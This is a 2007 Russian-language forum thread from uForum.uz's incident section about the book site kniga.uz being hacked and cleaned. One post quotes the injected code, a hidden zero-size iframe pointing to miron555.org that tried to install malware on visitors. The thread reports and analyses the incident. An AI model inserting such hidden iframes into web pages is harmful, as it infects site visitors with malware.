Моё меню Общее меню Пользователи Правила форума Все прочитано
Вернуться   uForum.uz > ИКТ и телеком > Информационная безопасность > Инциденты
Знаете ли Вы, что ...
...до того как открыть новую тему, стоит использовать поиск: такая тема уже может существовать.
<< Предыдущий совет - Случайный совет - Следующий совет >>

Инциденты Обсуждение произошедших инцидентов информационной безопасности


Ответить

 
Опции темы Опции просмотра
Старый 17.09.2007 17:26   #1  
Real ID Group uParty Member
Аватар для Liliya Nikolenko
Оффлайн
ООО “UZSCINET”
координатор по вопросам образования
AKA:Iqmena
Сообщений: 2,395
+ 1,813  2,257/846
– 12  25/22

UzbekistanОтправить сообщение для Liliya Nikolenko с помощью ICQLiveJournalМой мирFacebook
Книгу уз не проверяла санэпидемстанция?

Решила посмотреть новые книги на http://kniga.uz/
Получила вот что :


Это то же самое, что и на сайте ЕС?
__________________
www.azu.uz www.edunet.uz
Ответить 
Старый 17.09.2007 17:34   #2  
Аватар для Dmitry Paleev
Оффлайн
Сообщений: 967
+ 184  236/143
– 1  1/1

Uzbekistan
Цитата:
Сообщение от Liliya Nikolenko Посмотреть сообщение
Решила посмотреть новые книги на http://kniga.uz/
Получила вот что :


Это то же самое, что и на сайте ЕС?
Да, действительно на данном веб-сайте был обнаружен код загружающий на компьютер посетителя вредоносное ПО. Предположительно злоумышленниками был получен доступ к фтп данного сайта и в index был внедрен следующий код:

Код:
<iframe src="http://miron555.org/s/index.php" width="0" height="0" style="display:none"></iframe>
При переходе по этой ссылке на Ваш компьютер попыталось установиться вредоносное ПО, но судя по скрину, было тут же блокировано и удалено.

Спасибо за информацию. Владельцы данного веб-сайта будут оповещены об инциденте.
Ответить 
Старый 17.09.2007 17:40   #3  
Real ID Group uParty Member
Аватар для Liliya Nikolenko
Оффлайн
ООО “UZSCINET”
координатор по вопросам образования
AKA:Iqmena
Сообщений: 2,395
+ 1,813  2,257/846
– 12  25/22

UzbekistanОтправить сообщение для Liliya Nikolenko с помощью ICQLiveJournalМой мирFacebook
Я попробовала отправить им сообщение по адресу, заявленному на сайте - оно вернулось с сообщением, что "таких нет"
__________________
www.azu.uz www.edunet.uz
Ответить 
Старый 18.09.2007 00:16   #4  
Real ID Group Ultimate uParty Member ЕС
Аватар для Evgeniy Sklyarevskiy
Оффлайн
UZINFOCOM
Сотрудник ZiyoNET
AKA:ЕС, barbaris, arbuz
Сообщений: 32,709
+ 10,568  16,236/8,377
– 50  472/298

UzbekistanLiveJournalАккаунт на TwitterFacebook
Цитата:
Сообщение от Liliya Nikolenko Посмотреть сообщение
Это то же самое, что и на сайте ЕС?
Я-то вылечил Арбуз кое-как... почти месяц мучился... а на книгу-уз Касперский ругается...

Значит, вирусы живут в арбузах и книгах :-)
Ответить 
Старый 18.09.2007 10:35   #5  
Real ID Group Ultimate uParty Member Fujitsu
Аватар для Efim Kushnir
Оффлайн
Fujitsu
Sales Support Manager
Сообщений: 12,659
+ 7,822  10,179/4,434
– 61  36/35

UzbekistanОтправить сообщение для Efim Kushnir с помощью Skype™
Как у Булгакова:
- Не читайте перед едой советских газет.
- Так других нет.
- Никаких не читайте.
__________________
Я другой такой страны не знаю, где ... (с) Узбекистон - келажаги буюк давлат (с)
Ответить 
Старый 27.10.2007 14:27   #6  
Аватар для Dmitry Paleev
Оффлайн
Сообщений: 967
+ 184  236/143
– 1  1/1

Uzbekistan
На сегодняшний день веб-сайт kniga.uz излечен. Вредоносные ссылки с вирусами были убраны. Пароли изменены. Связь с администраторами ресурса налажена.
Ответить 
Старый 16.11.2007 15:21   #7  
Аватар для Bobkli
Оффлайн
Админ
Сообщений: 38
+ 2  6/5
– 0  1/1

Uzbekistan
Цитата:
Сообщение от Evgeniy Sklyarevskiy Посмотреть сообщение
Я-то вылечил Арбуз кое-как... почти месяц мучился... а на книгу-уз Касперский ругается...

Значит, вирусы живут в арбузах и книгах :-)
Да. поэтому решили переписать весь сайт занова
Ответить 
Реклама и уведомления
Старый 17.11.2007 10:24   #8  
Аватар для Ruslan Aliev
Оффлайн
AKA:Рустамыч
Сообщений: 2,598
+ 475  792/462
– 45  44/28

KazakhstanОтправить сообщение для Ruslan Aliev с помощью Skype™Мой КругАккаунт на Twitter
Лучше посмотрите как ломали ваш сайт. Скорее всего по FTP воровали пароли. А то сайт перепишите, а история повторится.
А лучшего всего к CERT обратитесь. Раз уж они профессионалы, он смогут вам помочь.
__________________
Свет рождает тени ...
Ответить 
Старый 19.11.2007 13:47   #9  
Аватар для Bobkli
Оффлайн
Админ
Сообщений: 38
+ 2  6/5
– 0  1/1

Uzbekistan
Да пороли взяли по ftp, даже догадываемся кто своровал, кто крипты и ифреимы вставлял,
давно хотели ухудшить сайт, вот как раз подходящий момент, к новому году на сайте будет много полезного и нового.
а CERTу блогадарность очень большое.
Ответить 
"+" от:
Старый 19.11.2007 14:38   #10  
Аватар для Eldar Ishimbaev
Оффлайн
Сообщений: 4,884
+ 433  2,393/1,396
– 12  37/21

Uzbekistan
Цитата:
Сообщение от Bobkli Посмотреть сообщение
давно хотели ухудшить сайт
Давайте лучше улучшайте. Не надо нам плохих сайтов
Ответить 
Ответить
Опции темы
Опции просмотра




Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd. Перевод: zCarot
Advertisement System V2.5 By Branden
OOO «Единый интегратор UZINFOCOM»


Новые 24 часа Кто на форуме Новички Поиск Кабинет Все прочитано Вверх